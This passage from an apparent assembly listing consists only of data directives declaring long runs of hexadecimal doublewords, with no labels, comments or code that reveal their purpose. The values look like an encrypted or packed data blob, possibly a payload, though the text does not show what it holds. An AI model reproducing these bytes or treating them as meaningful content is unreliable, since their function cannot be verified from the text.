5C78281h, 85552BE7h, 0D731CFD4h, 9660B433h, 66D713EDh dd 0FFD30669h, 75AD61FBh, 5187F084h, 5C0B1E7h, 0F7CB6DD5h dd 0CC44F335h, 0E1C7E9B1h, 2DD50551h, 51E2C2E6h, 5CC7DF46h dd 0ACED8171h, 6336ED84h, 8D76FFC5h, 85E7A52Dh, 6DEC47CDh dd 516D7F2Ah, 26C7FF85h, 4655ADC7h, 0F7C5F9E9h, 0F4465D22h dd 6EC7C4B7h, 0F08FD555h, 616DC71Eh, 516DE185h, 479066D7h dd 71BBF9E9h, 0DC0659E1h, 6BF751B7h, 0F9E98761h, 0D34565E5h dd 71EDE9C7h, 4661E9F7h, 0F787EDE1h, 0CF467520h, 6CF7866Dh dd 0FCE7C645h, 49E5D747h, 1F2DD6C7h, 0C74D67F7h, 0C7A5ADF3h dd 0C304B42Ch, 4273FAEDh, 0F0C706CCh, 0F431013Eh, 416DEF46h dd 0C16DEEE7h, 0C7C1EDADh, 0A26CE317h, 0AAF7782Dh, 0ADE3C47Dh dd 688FA13Eh, 0B42DDA86h, 0C769ABE7h, 0B1BC2DE6h, 0E1467522h dd 0E9F779EDh, 0ADE0C749h, 7B05D7E7h, 0A0EDE0C6h, 6E54015Dh dd 739A6D89h, 0D9C7412Dh, 6D93656Dh, 0CFFB0661h, 41AFF78Ch dd 1F6D408Dh, 695520D7h, 41BDED21h, 0D1047DE9h, 0E1F7B52Dh dd 0ADDCC765h, 40C0F71Ah, 297FD3C4h, 0EF7169F7h, 29EE2DA4h dd 0D8C46565h, 0A0A037EDh, 0F1B5602Ch, 400AF77Dh, 0A66D6C8Dh dd 46CB84F7h, 0F005EDE3h, 0BBE0F784h, 25F71FE7h, 0EDF80541h dd 5D60E7D5h, 0DFEDABC1h, 0A1FC59F7h, 0F7872D8Dh, 8EE0740Ah dd 0EDD7252Dh, 36F5C645h, 5D20114Fh, 56ADFE84h, 0B656C80h dd 0E7FFED71h, 682B45EAh, 0A5824EEDh, 46DA46A4h, 7D2CF78Bh dd 1AED9681h, 6D4D8D7h, 0D7AA6DECh, 0AFD1933Dh, 0A2F75AB7h dd 0F0F0856Dh, 0B7749C06h, 34ED89ECh, 45496B53h, 0E79AB7EFh dd 2D72B538h, 0A4AC1F6Dh, 2D99EC4Dh, 5D25D7B8h, 0C0FFCAB2h dd 2D3CFCE7h, 0A167EDADh, 9E35CBC4h, 1AECE66Dh, 0EDDE8656h dd 75A2E718h, 6AEDDCC5h, 44C491F7h, 33E6EDC5h, 0F3C7B440h dd 0C6E7D9C4h, 2DDA049Ah, 556BA1FCh, 0B33FFCC6h, 46E486C7h dd 0D7B831C4h, 0DBC74123h, 22D78DEDh, 6D847937h, 0AC834DA0h dd 0FE888AF8h, 2DFCB120h, 0F7DBF0A6h, 0F50451A5h, 252122EDh dd 0C7FAC471h, 556DF77Ch, 0F572ECC4h, 46456BD7h, 0F7AA8BDCh dd 98CC59E5h, 6DC7A6ADh, 0C7E3C745h, 6521E7C7h, 0C1EDF905h dd 0BF696B70h, 5085872Bh, 6D29940Ch, 0E6E7C66Dh, 0BFEA8551h dd 51AB40C1h, 0F906BB34h, 4B0F9F0h, 2BD2EDF1h, 9E615D25h dd 0B4C7B82Dh, 3EB67360h, 5565FE64h, 0DFB37CF5h, 874125C7h dd 33D5F9F1h, 84956929h, 26F705F1h, 6DF08745h, 8C382333h dd 0DF2DD844h, 8C5DEFE7h, 0B0A0ADBCh, 41B18B95h, 0F1A3DC3Ch dd 0F1976B40h, 0B817707Bh, 88F28959h, 84A857A1h, 20EEF1D6h dd 0E8C74D25h, 0A0C7E1ADh, 0F6C2C469h, 75A0D7E1h, 0A6EDE804h dd 844565B2h, 0F714EDE1h, 0EA8565A1h, 0E9A1116Dh, 0ED6BE86Dh dd 7561AC50h, 36EDE7C5h, 9869EC12h, 0F7176DA1h, 4BF89D50h dd 7832B079h, 0ED2D98CCh, 692D0236h, 0B3ED6D98h, 0D859E424h dd 12316DB5h, 0EEC5D4F3h, 0E93C736Dh, 2DF40638h, 4561E729h dd 65ADCFC5h, 85E44CD7h, 200EEDD4h, 0C486239Fh, 201ECE2Dh dd 0EDADAF49h, 41E83448h, 34AC946h, 3B7DA561h, 0E72577EDh dd 0EA452B1Fh, 4D24482Dh, 12C3C5F0h, 49EC717h, 24EDD346h dd 0C7F4F8D7h, 91E12DE6h, 0ECC72897h, 0E4E7E6ADh, 34FC4745h dd 4565AB67h, 6772F547h, 4745A5ABh, 0C7F8EDF5h, 0ACC149A5h dd 25E7BBEDh, 0B7D44745h, 0AB51812Fh, 8BEDA37Bh, 0C555E5E7h dd 0F72DF4E0h, 0D10475E9h, 7B7089EDh, 0EDFA0474h, 54BAB134h dd 0B8B79A23h, 0B27D67E7h, 0D725ED6Dh, 0D345656Bh, 98D707FCh dd 0EDEE061Ch, 4D6BD716h, 9A9CC4C5h, 0C64965D7h, 0F7E76DECh dd 45A08072h, 36E7DAEDh, 0BCA682EFh, 0D4B1D7EDh, 6D8CB6C9h dd 466B72D7h, 0F7632DCEh, 0E6467AF3h, 0A5E7976Dh, 0EDEE4649h dd 796B9BBDh, 3DF29463h, 0C450F381h, 0F095EDF1h, 0ED0569A5h dd 0EBF785EDh, 0B7AAF261h, 0C37EE7A9h, 0F78C8521h, 607DE7E7h dd 0B1BF2D86h, 93A27D6Dh, 28F7E3F4h, 2D78B271h, 7DE4E7F3h dd 11365F01h, 8245E3ADh, 0E7BA6D6Eh, 85A25124h, 75C792ADh dd 0AD7562FCh, 7D66F7DFh, 2879F2C5h, 8469E0A1h, 0E7B87FCFh dd 0A9EC75E4h, 0B643346Dh, 0ADE5067Ch, 0EC77F7E7h, 5AED8373h dd 0A15CC7C7h, 0C71BFF82h, 82A168C7h, 0C7C718FFh, 0FF82E874h dd 45ADE71Eh, 12CFCB84h, 6DFBB3E7h, 0C7E52D8Ch, 0D606596Eh dd 0A261322Dh, 0ADEC0561h, 5124E7F8h, 0B7EDACACh, 454DA2F7h dd 0F7766DE5h, 0CEC555E5h, 9FE7EC2Dh, 2D9AE2B4h, 0E040F71Bh dd 362DECC7h, 0B84D6B9Dh, 0C7188788h, 0ACC043C2h, 6BD7666Dh dd 0EDC4C56Dh, 0E8B3E760h, 247A977Ah, 694CC0D7h, 0D724B7B8h dd 0EB85D4C3h, 64E71F77h, 0ED866C55h, 5C82E757h, 0CFBC8EC3h dd 0EF4CBD79h, 0E7F52DB8h, 0FA8651E0h, 20B28FEDh, 40F756Dh dd 0BCE6D06Eh, 5C6DA6FCh, 0C46924D7h, 2193F4F8h, 0F104752Ah dd 20F7C4EDh, 0EDAA6141h, 4D6BE731h, 0A4EDE0C7h, 46FC9991h dd 0E79F2DD2h, 0B7155DA8h, 0AAC760FCh, 0F4B6B865h, 7563C7E1h dd 0F92DCDC5h, 6CA4BD7h, 0E74B2DCCh, 9EE1788Ah, 25E7D3F1h dd 0EDAD0E08h, 59290121h, 76F46477h, 217C4BD7h, 0C7B3EDB5h dd 0A9A96A36h, 0B113606Dh, 94EB84CAh, 0FCB0F76Fh, 0E66DBD74h dd 0C55521FCh, 0E7A52DF8h, 0F5855128h, 4F7CC6Dh, 0EDE086D0h dd 7126E7CFh, 5835BA28h, 0C461A9E7h, 0F765ADD1h, 0F8466568h dd 0EAE7B22Dh, 0ADE08651h, 756BD7D9h, 0B3A6F404h, 3563D303h dd 0D7C3B6B9h, 0E1464810h dd 533D727Eh, 0ADEF46C9h, 0E95215B1h, 7867BEBh, 68C39D1Dh dd 571BCFAh, 47EBFB50h, 283B7FA6h, 37FD8541h, 4D6BF75Ah dd 0CFFEF386h, 0A969E5C7h, 29602DB7h, 0ADA969E4h, 0AA0C232Dh dd 0EDA74145h, 0C410E0D1h, 0DAAD72A8h, 0C5F8D091h, 0C79F2DFFh dd 0EAC4F7D3h, 2FC707EDh, 0F7AAEDAFh, 0E0E0E7DBh, 0E22DF884h dd 4645A7E7h, 9384ADE8h, 0CE06C475h, 0E9F78596h, 2DDFC565h dd 55A9A28Ah, 9B6DE4C5h, 0C6129C7h, 0E767AD98h, 0FDC55128h dd 0E0D2D186h, 0B6C12845h, 5D62C7A4h, 0C62DB679h, 866DE651h dd 0F747B1CBh, 0E6067DA1h, 25D7DD6Dh, 73A77369h, 45AA4023h dd 0ADEDE607h, 0C6456692h, 0D722ADD8h, 0C6C66167h, 77C7D937h dd 2DD3C7F0h, 2065E7B8h, 0D9ADC886h, 6F4CBD7h, 0F7C5F3D0h dd 0E5066921h, 0AAE0C16Dh, 0ADD0C445h, 45ADF71Dh, 3E3482B6h dd 0EEED5331h, 0C0A777A9h, 0C184986Dh, 0E4E77F71h, 6DD04645h dd 0FC0B8384h, 8D2D98B3h, 2E492A20h, 0D7A1FF81h, 0AE21684Ah dd 0E7E77FEDh, 6DFF4645h, 59ABCED5h, 47B1CE46h, 0C55920C0h dd 0D7D56DF1h, 0AE336160h, 0A7E7F46Dh, 30FCC575h, 69A2E7A5h dd 0E2ADDB85h, 0C5A8EAF7h, 0E720ADDAh, 0CB07696Bh, 0A951B36Dh dd 0EDC7C565h, 45E91360h, 1A6DC246h, 0F171E7FEh, 0C25E6D6Fh dd 0CFC574F6h, 6BD7A4ADh, 0FCF8857Dh, 0A463D7E4h, 612DE6C4h dd 0C5AC34A3h, 0D7CFB4DCh, 0A6B194EAh, 0D4C7F3EDh, 2DE507FCh dd 61E5C0F9h, 0D72DC586h, 7449E769h, 0E79473A1h, 0C50549EEh dd 0D0C72BB6h, 0ADC104F4h, 516A604Bh, 5EADD985h, 3C0CEBC7h dd 0C772AD51h, 8D347857h, 0A4A1682Dh, 0F2833479h, 0A4A2919Dh dd 0E2F4D306h, 0F645A0C7h, 0E7B47493h, 85217DAAh, 6AE038EDh dd 0ED81217Dh, 0FC40F7FFh, 52B4B252h, 3479EB61h, 0D7DF2D99h dd 0AAC35DAEh, 45F7DDF7h, 91E504C8h, 79A2B072h, 6B33F9C5h dd 0F2C040F7h, 0C7DBB68Bh, 0A1564920h, 0AEE794EDh, 2D8ED05Dh dd 857DC703h, 466DE146h, 85B30193h, 117E78D5h, 8EF4F4B8h dd 267D9731h, 0B8EB4745h, 616720A7h, 0E6B68B9Eh, 62EC09E7h dd 0E7ECADB9h, 0CB8641E4h, 0AFB2982Dh, 0F188A828h, 616382D1h dd 0C973F7C5h, 45B4E192h, 0E7DF37E2h, 0FC47512Ch, 0A4AA47B7h dd 2D0DF15Dh, 583DC7EFh, 0B3ADBC52h, 46F689D7h, 0E7DEF1D9h dd 84897DEDh, 0E6F7F76Dh, 0F7B36865h, 75ADA005h, 26C3DE45h dd 84656461h, 0E73E00F5h, 7733C22h, 0A7E7FCB3h, 2DDBC465h dd 0E4055C76h, 0E6BBF485h, 45E405D7h, 40BF38F5h, 0EC85B42Bh dd 6AF74DF7h, 0ED7DF461h, 656DACD1h, 0D9B1A699h, 450ABBE0h dd 0D7F8B0FBh, 8BDC75A7h, 0FAC7E3B6h, 0ED35128Dh, 41256E65h dd 476DA6EDh, 0A351A76Eh, 0C72DF7ACh, 0E1C6384Dh, 3D60E4EDh dd 0AD9EB607h, 18CF63D8h, 0F66DAE7Dh, 455A7E7h, 0F7D02DCDh dd 0AEAC41ECh, 89D79C6Dh, 318B55CCh, 5568F7E6h, 92F9C906h dd 7D9849D7h, 0C06F07ADh, 9E685C57h, 20714A7Ch, 0EDE00645h dd 60BDF75Ah, 0E42DC5C6h, 0C5D8B9E7h, 51B36DE5h, 0D3C66165h dd 0BEE75AB9h, 0B14C921Ch, 0B0E4D785h, 3A2D95E1h, 0C54DA2F7h dd 0E7B0EDDCh, 0F2047165h, 8992ACEDh, 0F73379C8h, 9796E7A7h dd 24ED4F71h, 6456E22h, 0A3B5ADDAh, 0DA447D69h, 300277B1h dd 0ADC385F8h, 28D6E074h, 0D92DD285h, 0E1F440B0h, 0E7A4AD90h dd 0E0043496h, 6021A5EDh, 0B18EEE79h, 14674F14h, 20FA61D5h dd 0C54162CAh, 0F0BF30DCh, 0E5C7596Bh, 0A3C797C1h, 0EDAB784Dh dd 4DE302E9h, 0F9ED6A58h, 4F4352Ch, 2E4ADF1h, 5D34496Eh dd 0F9FCFDA6h, 2D8E71FCh, 8863D7A0h, 91EDF446h, 0C555A3F7h dd 0E72737DEh, 0A6B77DEDh, 0E531716Dh, 0EDADBA79h, 0DC4AD777h dd 9FF4CCC5h, 4471EDE7h, 0F71EEDEBh, 72B7FCB0h, 6702E4F2h dd 2D515588h, 0E8437E47h, 6FFAE145h, 603B67D0h, 0C7B03B80h dd 0CFC66125h, 0EB00E02Dh, 0EDA5585Dh, 5D6BCC35h, 27C264F9h dd 0C700BE20h, 0F01FEDF5h, 0F88749E0h, 0A7E7EA2Dh, 6DDAC559h dd 0D8366218h, 5D2DBE01h, 3ED6F1C7h, 0F7936D7Eh, 95E36522h dd 65A1CA30h, 0B6F74569h, 69E8E718h, 2370F345h, 3EA4A210h dd 0C7E6AD88h, 9E60C4F1h, 6DC7B1FCh, 32BCBE59h, 88EAD795h dd 0AE2DFEC5h, 8859E9E7h, 0A0582DBEh, 0DB874925h, 0E4616EB4h dd 35FA8749h, 48F5A905h, 7A7CF687h, 0C5CC87B1h, 0F7D674E6h dd 92205E7Ch, 683200F7h, 2DFB4645h, 4528F799h, 0D07CE886h dd 8641A5C0h, 0BDC22DCEh, 8D37144Ah, 6FE7C1ADh, 2D8DAD51h dd 7D2DD759h, 8737B1E1h, 467520F7h, 0D782FBEDh, 0B91361ECh dd 0B6F7DA34h, 6DEC8498h, 49EBE7BAh, 0C5EDD805h, 0E379ACF7h dd 907BAD98h, 0C3C661AAh, 0EFF7652Dh, 6DE04465h, 0BC7E8104h dd 15EDDEC5h, 0C46DA2E7h, 8099F7C7h, 8B73E48Bh, 0BBE77A6Dh dd 0B7BF3660h, 612AD725h, 1A6DA670h, 455A4E7h, 959AEDCDh dd 0C5C665EDh, 0A470B1EDh, 6DF58745h, 5B3AB111h, 64EDD106h dd 87496BE7h, 0B3DCADC9h, 0F9C7433Ah, 0A1D764EDh, 6DFA4649h dd 842220DDh, 76EDEC46h, 46C4042Dh, 0B3106DCDh, 8262E439h dd 0BBE741ADh, 0B49E7654h, 5166D7E4h, 0C4ADE9C5h, 0A4FCBDD7h dd 0B1F0AD96h, 0E9C661E9h, 26E786F2h, 0ADC5C771h, 0E48253F9h dd 86EDBA34h, 0F041A6E7h, 935BEDA2h, 0E30555EDh, 0A68006EDh dd 0EDB17269h, 69E572B5h, 476DEE84h, 471A4A1h, 0F705EDFBh dd 0B529596Bh, 0AFE7B7EDh, 0B2CDC480h, 7563C731h, 0E76EE06h dd 4649AA71h, 410EEDE6h, 8D6D59AAh, 4D5369EDh, 0B18ECCC4h dd 8434D733h, 8F2DC146h, 0ACABF5E7h, 0C75D2D4Dh, 0C5C76809h dd 69A16CEDh, 0ADFA0659h, 0E543E772h, 38AD3D2Ch, 0EFF90255h dd 0F754F5E7h, 0E5C5F445h, 0EDD72874h, 0F7FD0545h, 728CC769h dd 14EDFA04h, 0C6456751h, 0E7F167C2h, 9369DFCEh, 4E116E7Fh dd 6DE6C5F9h, 0E8CCC7E6h, 0BC37AE9Ah, 0A2F509C7h, 7593AD86h dd 9E565FCBh, 3D7A4EDh, 0EDFB04EBh, 7169E707h, 9B2DA4CFh dd 0F04DA5F7h, 7D3A6DA8h, 0E5C5752Dh, 0ED313A2Dh, 0ED66C95Dh dd 2CB5D707h, 0D027EB45h, 0AE41E7A1h, 0E7E7BFFBh, 0F7476563h dd 2DC72304h, 0AD988141h, 71291064h, 842D6228h, 28C4DD6Dh dd 0C785EDD1h, 0FB05C078h, 0E13068ADh, 0EDEF444Dh, 756FC7DFh dd 9604835Eh, 6B79672Dh, 17A7295h, 0A71F45A1h, 0BBE71C6Dh dd 78CC8440h, 5963C7A1h, 0D9F1C306h, 0C6D005D7h, 1D5E6DE3h dd 0DA455491h, 65E7742Dh, 0ED4CCC5Dh, 41A95DF0h, 1C6DA60Ch dd 78D48DD7h, 6F7AF7A7h, 0CCC78442h, 0E6612E36h, 34F68761h dd 596BA2ACh, 0B26DE8C6h, 8A6CDE73h, 0F7C16DAEh, 95487383h dd 0DD25FBA6h, 6DE4C474h, 5127ECEFh, 0E034A855h, 76563E7h dd 0F7B304F7h, 81EC1CA6h, 63C71A2Dh, 0B6EEC549h, 0D8DACCF5h dd 856DE1C5h, 147880E7h, 0DCF52D90h, 99629045h, 28A19E2Dh dd 0ADA5AD5Dh, 452DF726h, 73BF345h, 751A6E7h, 0F00887DAh dd 0F1C6ACEDh, 0C58241BFh, 0ED6057ECh, 71A5E7C5h, 0D9ED9E61h dd 0C76925D7h, 43F06DFAh, 0F5C47DAAh, 0A3C7B8F6h, 0AD2DEA49h dd 656F3351h, 0FF2D62F4h, 0C5242CB1h, 0C7EE06E8h, 98EDD9DBh dd 1BC75CADh, 1ED38572h, 5DADF7D7h, 9F3F7A6Ah, 8C75A9E7h dd 0A31CF9A2h, 0EE45716Bh, 25E77283h, 0D1CF8469h, 5DA2EC54h dd 7DF8FB85h, 0C67DEDDCh, 0F79FEDC1h, 941365A2h, 72D7D276h dd 3EF746A4h, 7CB8D704h, 666DA6E0h, 0C6FC74C7h, 0F809EDCEh dd 0E0444D6Ch, 6AF718B4h dd 2D840B75h, 49E5D7A4h, 0BAF7B840h, 4B0A2F7h, 0F734ADF8h dd 0D245696Bh, 6EC74AF8h, 0ADAD7393h, 0DFBBE738h, 0F47BBCB3h dd 57AC64D7h, 0D7A56D6Ch, 454841EDh, 0E4F707EDh, 2DF3C569h dd 69E9C72Bh, 54EDF204h, 61FC15D7h, 0E71AEDADh, 0EFC5B03Ch dd 0E3E705EDh, 0F4C3C545h, 51A7E7D5h, 9D2D8E10h, 4679E9F7h dd 0A19EEDE0h, 0CD8479ABh, 2AF75C2Dh, 0B26F1455h, 0FD01CC39h dd 0C6ED4B8Ch, 34C700F7h, 234E2D88h, 0CDC55439h, 0F8C7D7ADh dd 6DEE86D3h, 4520B3A3h, 0A2EDDEC5h, 0F6E703D7h, 5DF06DA8h dd 0E52C41E9h, 8D80F7FFh, 77AE024Fh, 65A1E758h, 0BEFEF505h dd 4645E0D7h, 9CCA6DE4h, 0D94471EDh, 8453952Dh, 0F3FB05A2h dd 9F3EE7EEh, 692D9D4Dh, 0C548DA43h, 0C7D3F7CAh, 8E506CC6h dd 0A3B0152Dh, 0F4C34675h, 0C08F807Ch, 0FD2DCD85h, 8141AFC7h dd 0D787B191h, 0FEC4908Dh, 0B96991BBh, 70CC4685h, 416B5FB0h dd 6238CA85h, 33552E60h, 0F7AC7668h, 4DAE9D83h, 3BE7BF2Dh dd 7346A028h, 45EFF7E6h, 7F7FFCC4h, 6055A5C7h, 21DB2D99h dd 0CD8465AAh, 0E4E7E4ADh, 0ED6DFE59h, 4DA1F754h, 0A0F7DC06h dd 3D5122E7h, 51DDF132h, 0CAC54D6Bh, 26F7DF43h, 3CC1044Dh dd 88B4B132h, 646DEF86h, 44CC7691h, 0E7FFEDDDh, 7BA26D68h dd 8F72922Dh, 41AA502Fh, 0D43BF7D6h, 0E0F4D507h, 85456DD7h dd 0F7D534F9h, 0D5C6F43Bh, 30B099F4h, 0AD96F7E0h, 512DF282h dd 0B12DF5C4h, 0C749E0E7h, 0C7E9EDD0h, 0F30658C6h, 0E7A2C52Dh dd 2DB57071h, 45640122h, 6E2DB52Ah, 0B555A271h, 0C7A6C284h dd 0FEC53B97h, 28C7D431h, 0AD91F93Bh, 49EDD763h, 0F7F7FD06h dd 4649EAD0h, 0E7B8F1F9h, 82E169E4h, 0EA6C90ADh, 71CAC47Dh dd 0D08ED7D7h, 742DAD31h, 84B85702h, 0B062ADF2h, 9DA29890h dd 0A7612E7Bh, 0B2B85551h, 796612FDh, 0F3ADD106h, 2818ECF7h dd 0D7D577B0h, 0B0EF71E5h, 0ADE7DBF0h, 6DACE17Dh, 9426C7BCh dd 0CB34F986h, 84245DC7h, 9060B2CBh, 6BC17D63h, 0A4D71F87h dd 0B78D1565h, 496B2083h, 6BFF146h, 0ECDC78C0h, 0D72BBA40h dd 0B36F6D28h, 0E5C77FADh, 0EDD74645h, 0CB1BC78Ah, 172DFDC7h dd 0EE79A512h, 0E7C82D8Ch, 99B64880h, 0A0CC526Dh, 2DA55859h dd 9A5224F9h, 356D6634h, 7975642Eh, 6101B288h, 0BDE15924h dd 35009EEDh, 0EDB0B554h, 2427F7F8h, 0E9AD83D3h, 0C4B0D581h dd 0C71F2DE9h, 73784520h, 35B1A6EDh, 0C4F8A1F0h, 28DD10B2h dd 0DD32EAC4h, 7556EB1h, 93EF06CBh, 0F2C67966h, 0E0A3E8F6h dd 0C4F8A171h, 4DA2B1B0h, 0D6AD90F0h, 44456BE7h, 0BDDCADC3h dd 0F546884Ah, 0DAB0BCEDh, 0B3BB63BCh, 0A87DD7E0h, 0E772BB58h dd 4752EA1h, 5062EDE2h, 40206DA1h, 2DF7D6F4h, 6DC94471h dd 7D6B6272h, 766DEC85h, 84516BA1h, 68427CC7h, 0F3846921h dd 0A5E77FB5h, 2DCD8445h, 0E404C7D0h, 7F2D912Bh, 2A4524E7h dd 91F22DBDh, 0D8C4E474h, 0A2D7F8CBh, 2DB9E345h, 5DAEA1D5h dd 2A6D954Dh, 74521BDh, 0C7F26DC4h, 9C0851A0h, 0AAD71AADh dd 0EDC68679h, 4D67D75Ah, 762D95B0h, 865DAAD7h, 0D758EDFEh dd 0D4467DEDh, 0E4B0692Dh, 6DCAC559h, 69E5D799h, 5AEDDE06h dd 0C4516DF7h, 0E7792DDDh, 0B4AD7DE1h, 58C7F2F6h, 0EDE50748h dd 0DA3E4288h, 54B7B5E1h, 0AC84FC95h, 0F0D2EDA4h, 0CD8451ADh dd 0EBC7F82Dh, 0ADE0067Dh, 71E5F79Eh, 0CE2DBD61h, 0C571A262h dd 0E71FF9D5h, 0DD0549A1h, 0A5E7392Dh, 0ED99C879h, 69A9C72Bh dd 0EEDE604h, 23752AE0h, 0F7DBBA8Ah, 0FBC74744h, 0BD8F12FCh dd 0ADAD97E0h, 4968E718h, 0AC2DE585h, 996DE5D7h, 0E7B12D51h dd 0B38D45E1h, 79E7D597h, 6D8DA34Ch, 6560515Dh, 2BBE817Eh dd 8441E7E0h, 80B36DFCh, 0FC855963h, 69C72FADh, 2DEFC769h dd 6DE8D71Ah, 1807C046h, 0C771E8C7h, 0E785EDF1h, 0D8C541A2h dd 26A0F7F7h, 0AD90F769h, 6885F718h, 0D8ADD9C5h, 0CF1B9EE7h dd 5F017C97h, 0C104556Dh, 0F1C7E6EDh, 6D9228D8h, 0EB4C316Eh dd 752DF705h, 84ECCFE7h, 0E7E92DDAh, 0C187596Bh, 21020F3Eh dd 74DA0445h, 61AED7EAh, 9EDB041h, 5B892A1h, 0F7C72DCDh dd 0CAC76A8Bh, 0AAC0222Dh, 2DC20451h, 607F13BDh, 89C3C084h dd 0C5D4DEB3h, 7141ADEAh, 0E4C4792Dh, 2049C0EDh, 2DD74549h dd 5D6D5313h, 0D37FC5C6h, 6F0455F7h, 0F7F86DBDh, 0EAC751E7h dd 54E7A5ADh, 0ADEC4684h, 0E4F5A228h, 66B48EA0h, 4494C383h dd 0ADF1BEE7h, 0B809692Ah, 630DAE7Fh, 0ADFCC569h, 0E896D7ADh dd 93EDDEC4h, 0C54122F7h, 0D7C337CBh, 0D8C64967h, 6FD719F7h dd 2D996171h, 0E8DE5587h, 73B6864Fh, 0C64567D7h, 0E707ADF3h dd 0D1C741E6h, 0E9A0C6EDh, 0ADEFC575h, 49AAF7B8h, 4DF798E9h dd 0C54FCE6Dh, 0E7D94FD3h, 0BA4FD30Eh, 34B1AC53h, 0AD7BEEB4h dd 0CC17F783h, 53095CEh, 0B76529D7h, 0C707F4BCh, 0C2866969h dd 6AA1EF2Dh, 0ED8C2D51h, 7925E7B0h, 0E886B362h, 6951EDD7h dd 0F716ED86h, 0F506F4C5h, 0FDF75E3Eh, 0EDEEC5D4h, 0E81D5163h dd 0D8AD906Ah, 467DE8D7h, 637647D3h, 0F5864922h, 61F7F332h dd 0F7E74588h, 556DD023h, 0FA2D9DF9h, 0B375A5D7h, 0D7E06DACh dd 81DC51EDh, 61A1E4EDh, 2DCCC769h, 51E921A4h, 872DCD04h dd 85477F5Fh, 0D726FED6h, 0EFC445AEh, 5AA189EDh, 0F6F285E4h dd 61EDF79Bh, 0C5EDE546h, 0C4102FF7h, 0D7F776E7h, 0AD4A804Fh dd 0A6D765ADh, 2DE4C5A4h, 61E4E7DDh, 1A2DC2C7h, 0E17122D7h dd 0D71E6DA4h, 0FA05592Ah, 0E5F71AB9h, 36A92051h, 64C57E8Eh dd 0D632E884h, 854D6BE0h, 0F72696E7h, 0FD0751ADh, 0AAE7BAC0h dd 6DCE4749h, 0A5C70Fh, 446DD446h, 4645A1FCh, 0C712F6DAh dd 93E0DC2Ah, 9C7E7ADh, 79F84423h, 61E461DFh, 34EDA441h dd 0F6796DD7h, 0F776F9ACh, 0D80680FAh, 6F767ADh, 0BF2DF7C0h dd 5522D7DBh, 14EDCE05h, 0F5516DD7h, 0EE0D79BDh, 959751EFh dd 16D730B9h, 61F8C6CCh, 5164E28Ch, 0E6719197h, 57E842E7h dd 0EE8F6D55h, 8E3441E7h, 66D7842Dh, 71C5055Dh, 6122E7E6h dd 0C521E545h, 67921F7h, 0FE0D6DE5h, 7B366D2Dh, 0E5D7E0ADh dd 0ADFC855Dh, 596071AAh, 6CEDB32Dh, 4471EDA2h, 0D73A2DD2h dd 0FAC5ABEFh, 23D7DF2Dh, 0B4B59751h, 0DF4C61AAh, 7837EAC4h dd 8669E4E7h, 0A1852DC6h, 0FC067965h, 69F7232Dh, 0F4A0D469h dd 4165D7C5h, 0B2EDEE86h, 0C769AAE7h, 0F7F52DDBh, 0CAC551A2h dd 0A0F7073Eh, 6DEC0645h, 41A5E7B3h, 0D6EDF4C7h, 45A4B370h dd 331E33E2h, 0EC85416Dh, 2660DC4Fh, 0B49B626Dh, 877D5156h dd 8F6DF346h, 0F37125EEh, 0A4C72D95h, 0F0C7A7FCh, 0A4AF0F58h dd 2D195E5Dh, 65E061AAh, 0E330E784h, 46D4F9A3h, 0D7D939F0h dd 0E084FC16h, 3933F6FCh, 0BEE74737h, 0F44B62D3h, 562DCD45h dd 55149CF7h, 940A6012h, 0BCD299B9h, 399411EDh, 20FA0410h dd 4DECB01Ch, 0F274CB72h, 23237EE7h, 23204898h, 0D0C751E4h dd 1C7D1ADh, 0ADA03ECCh, 0B416D7C9h, 0EF82E707h, 614569A1h dd 0A1EF6D99h, 8161456Fh, 2FA1EF6Dh, 2DA16145h, 7D6EA1EFh dd 472DA520h, 0C76525D7h, 0E7ED2DDCh, 0AC5C49A2h, 3A13AEDh dd 0F7DEC58Ch, 712570FEh, 34EDE604h, 46796BD7h, 0D7226DEFh dd 0AEED7DA1h, 0ADD726EDh, 0EDE70469h, 71A7A2D0h, 0BCEDD5C7h dd 0C7E434D7h, 0E7A92DDEh, 0F3C55522h, 22D7AB73h, 0B6C6C579h dd 5564C79Fh, 0A2ED9FDFh, 54DAFE7h, 0AA34C7h, 0CCC57163h dd 0DE7752Dh, 6DDBC518h dd 496B610Eh, 6DADD145h, 0C44561E7h, 0F761ADD1h, 0E7C5A84Eh dd 1D74DF4h, 0ADAA609Fh, 616FD79Fh, 37F9A30Ch, 0F471EE60h dd 0F70D2D4Eh, 0A3BEC0D4h, 6CC71FF9h, 7BB30D51h, 4D2262B0h dd 7A73B93Ch, 7F79AFD7h, 0E79F74D1h, 0B30C61EAh, 0A6700B73h dd 0ED88BF7Dh, 7DE6E7F8h, 65ED95BFh, 0C86D63A1h, 0D73573B3h dd 0F2C75D25h, 0A13EA4ADh, 0EDF7045Dh, 5DE35040h, 0A4ADACB9h dd 0C559A33Eh, 0F7F56DEAh, 0CCC5BFC8h, 0C2F7482Dh, 0EDAEA948h dd 712FC79Fh, 0A7737DD9h, 0B91C4CD7h, 1375ADADh, 0AEE1AE8Fh dd 942EE3ADh, 0ADC5C7B0h, 400673B9h, 76B4C946h, 3B2E9B81h dd 0F7D7B49Eh, 0EE046964h, 0C0D71AEDh, 2DCEC7A4h, 5D6DE7E9h dd 44ADE385h, 0C6B49DA1h, 0C7267BE6h, 0DAC669AEh, 0E2D742F6h dd 0AD50C869h, 3E8FD713h, 0B12DCCC4h, 0D50D1C7h, 92CABA9Bh dd 0C104B380h, 0A5C71FEDh, 0ADE80659h, 34D40C81h, 1F2DD004h dd 185DA4F7h, 3484F47Fh, 759BB2D9h, 283A03ADh, 0F4A7D945h dd 2C153CF0h, 75ED9AE1h, 85696B33h, 1C803DDAh, 0EB478441h dd 0A7E7DF83h, 3320BB49h, 60F4E7CEh, 0F26DBCD9h, 29888C9Ch dd 0F7D5FFA5h, 91B51A11h, 2F812363h, 739B8165h, 656C8123h dd 8403A781h, 8198A0C7h, 0E79FEDADh, 0A981656Ch, 52E7CCF4h dd 1AE1C52Bh, 0AB8CC7DBh, 36AD611Eh, 381C81F7h, 81136D99h dd 0DDC7C05Eh, 0E0A123EDh, 0ED7DBE61h, 6966F7F3h, 0C5B0AABCh dd 0C5F055E7h, 0C725ADD9h, 0C2C4712Ah, 1DD7762Dh, 42969C2Ch dd 71ADC726h, 9FFCEA84h, 6171A9F7h, 0D766AD19h, 0CFC5834Ch dd 60E7A7ADh, 6D9EFE5Dh, 37D3C79Ah, 0E36DE904h, 47CC8111h dd 0E7EDB4DAh, 0C30475E5h, 7799EAEDh, 0F48AEAD4h, 45E4E7F8h dd 6CAD90E0h, 0C451EDD7h, 0C71A6DD1h, 0F4C57963h, 0B9F78671h dd 6D60625Ch, 61658D19h, 